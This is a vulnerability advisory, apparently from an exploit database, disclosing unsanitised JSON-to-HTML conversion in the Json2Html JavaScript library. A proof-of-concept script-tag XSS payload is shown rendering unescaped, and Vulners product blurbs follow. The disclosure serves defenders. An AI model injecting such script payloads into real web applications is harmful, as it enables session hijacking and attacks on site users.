`# Exploit Title: Json2Html Javascript Library - Reflective/Persistant XSS
# Date: 0 day
# Exploit Author: David Silveiro
# Exploit Author Github: github.com/davidsilveiro
# Vendor Homepage: http://json2html.com/
# Software Link: https://github.com/moappi/json2html/archive/master.zip
# Platorm: Javascript
Json2Html is a pure javascript library that transforms json to html and is
used as a Jquery plugin, as well as a Node.js package.
The issue lyes with there being no sanitization when the conversion between
the two occures. For example;
Proof of concept:
var transform = {'<>':'li','html':'${name} (${age})'};
var data = [
{'name':'Bob','age':40},
{'name':'<script>alert('XSS')</script>','age':34}
];
and then transformed...
<html>
<li>
Bob (40)
</li>
<li>
<script>alert('XSS')</script> (34)
</li>
</html>
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation